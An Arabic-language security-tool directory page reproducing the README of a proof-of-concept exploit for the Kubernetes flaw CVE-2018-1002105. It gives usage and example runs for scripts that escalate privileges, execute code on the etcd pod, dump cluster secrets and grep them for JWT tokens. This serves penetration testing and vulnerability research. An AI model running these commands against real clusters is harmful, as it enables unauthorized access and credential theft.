Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
poc_CVE-2018-1002105 — إثبات المفهوم لـ CVE-2018-1002105. | Kitploit
أدوات/GitHubGitHub/evict/poc_cve-2018-1002105
تصعيد الامتيازاتأمن الحاوياتتحليل الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراقأمن السحابة
GitHubevict/poc_cve-2018-1002105

poc_CVE-2018-1002105

إثبات المفهوم لـ CVE-2018-1002105.

عرض المستودع
22237منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-1002105 إثبات المفهوم

  • إثبات المفهوم المُوثَّق
    • العرض التوضيحي
    • طريقة الاستخدام
  • إثبات المفهوم غير المُوثَّق
    • العرض التوضيحي
    • طريقة الاستخدام

إثبات المفهوم المُوثَّق

إثبات مفهوم لاستغلال الثغرة CVE-2018-1002105. يتطلب الاستغلال الحالي صلاحيات إنشاء والحصول على pods و pods/exec. تمت إضافة الدعم لـ portforward و attach، اللذين يتطلبان صلاحيات مماثلة.

يقوم إثبات المفهوم الحالي بتفريغ الأسرار من الـ pod الافتراضي etcd-kubernetes.

العرض التوضيحي

إثبات المفهوم قيد التشغيل:

asciicast

طريقة الاستخدام

root@kitploit:~
usage: poc.py [-h] --target TARGET --jwt TOKEN [--namespace NAMESPACE] --pod
              POD --method {exec,portforward,attach}
              [--privileged-namespace PNAMESPACE] [--privileged-pod PPOD]
              [--container CONTAINER] [--command COMMAND]
              [--filename FILENAME]

PoC for CVE-2018-1002105.

optional arguments:
  -h, --help            show this help message and exit

required arguments:
  --target TARGET, -t TARGET
                        API server target:port
  --jwt TOKEN, -j TOKEN
                        JWT token for service account
  --namespace NAMESPACE, -n NAMESPACE
                        Namespace with method access
  --pod POD, -p POD     Pod with method access
  --method {exec,portforward,attach}, -m {exec,portforward,attach}

optional arguments:
  --privileged-namespace PNAMESPACE, -s PNAMESPACE
                        Target namespace
  --privileged-pod PPOD, -e PPOD
                        Target privileged pod
  --container CONTAINER, -c CONTAINER
                        Target container
  --command COMMAND, -x COMMAND
                        Command to execute
  --filename FILENAME, -f FILENAME
                        File to save output to

مثال:

root@kitploit:~
$ ./poc.py -t 10.0.2.15:6443 --jwt [token] -p [pod] -f etcd.out -m attach
[*] Building pipe using attach...
[+] Pipe opened :D
[*] Attempting code exec on etcd-kubernetes/etcd
[*] Writing output to etcd.out ....
[+] Done!

التحقق من الرموز:

root@kitploit:~
$ grep -air eyJ etcd.db

إثبات المفهوم غير المُوثَّق

يسمح إثبات المفهوم غير المُوثَّق بتصعيد الصلاحيات في سياق واجهة برمجة التطبيقات المكشوفة. اعتمادًا على وظائف واجهة برمجة التطبيقات، قد يكون من الممكن تنفيذ أكواد على الـ pods. يستغل هذا العرض التوضيحي الثغرة حاليًا للحصول على صلاحيات مدير الكتلة على واجهة servicecatalog.k8s.io. يجب أن يعمل هذا الاستغلال أيضًا مع metrics.k8s.io أو أي واجهة برمجة تطبيقات مكشوفة عبر الطبقة المُجمَّعة.

العرض التوضيحي

إثبات المفهوم قيد التشغيل:

asciicast

طريقة الاستخدام

root@kitploit:~
usage: unauth_poc.py [-h] --target TARGET [--api-base BASE]
                     [--api-target TARGET_API] [--api-version VERSION]
                     [--json] [--filename FILENAME]

Unauthenticated PoC for CVE-2018-1002105

optional arguments:
  -h, --help            show this help message and exit

required arguments:
  --target TARGET, -t TARGET
                        API server target:port
  --api-base BASE, -b BASE
                        Target API name i.e. "servicecatalog.k8s.io"
  --api-target TARGET_API, -u TARGET_API
                        API to access i.e. "clusterservicebrokers"

optional arguments:
  --api-version VERSION, -a VERSION
                        API version to use i.e. "v1beta1"
  --json, -j            Print json output
  --filename FILENAME, -f FILENAME
                        File to save output to

مثال:

root@kitploit:~
$ ./unauth_poc.py -t 10.0.2.15:6443 --json -f api.out
[*] Building pipe ...
[+] Pipe opened :D
[*] Attempting to access url
[+] Pipe opened :D
[*] Writing output to api.out ....
[+] Done!

تنزيل الأداة